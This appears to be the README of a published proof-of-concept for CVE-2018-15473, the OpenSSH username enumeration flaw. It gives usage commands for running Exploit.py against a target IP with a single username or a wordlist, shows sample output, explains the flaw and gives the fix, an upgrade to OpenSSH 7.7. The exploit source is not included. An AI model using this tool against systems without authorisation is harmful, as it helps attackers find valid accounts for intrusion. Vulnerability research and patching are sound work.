## CVE-2018-15473
**SSH-Username-Enumeration-Exploit (OpenSSH 2.3 < 7.7)**
Edited version of the original exploit: https://www.exploit-db.com/exploits/45233
* Converted to Python3
* Added username wordlist option
## How To Run
```bash
#Install the requirements:
foo@bar:~$ pip3 install -r requirements.txt
```
```bash
#For single username:
foo@bar:~$ ./Exploit.py 192.168.1.20 -u root
[+] root is a valid username
```
```bash
#For multiple username:
foo@bar:~$ ./Exploit.py 192.168.1.20 -w username.txt
[+] root is a valid username
[-] mysql is an invalid username
[-] mike is an invalid username
[-] foo is an invalid username
[-] bar is an invalid username
Valid Users:
root
```
```bash
#For more option:
foo@bar:~$ ./Exploit.py -h
```
## About the Vulnerability:
The system responds differently to valid and invalid authentication attempts. A remote user can send specially crafted requests to determine valid usernames on the target system. Thus, a remote user can determine valid usernames on the target system.
## Solution:
OpenSSH server should be upgraded to, or higher than, version 7.7
[4.0K] /data/pocs/e489debe1a82a63f6d9e850f9041b9a04bf62d1b
├── [3.1K] Exploit.py
├── [1.1K] README.md
├── [ 18] requirements.txt
└── [ 345] username.txt
0 directories, 4 files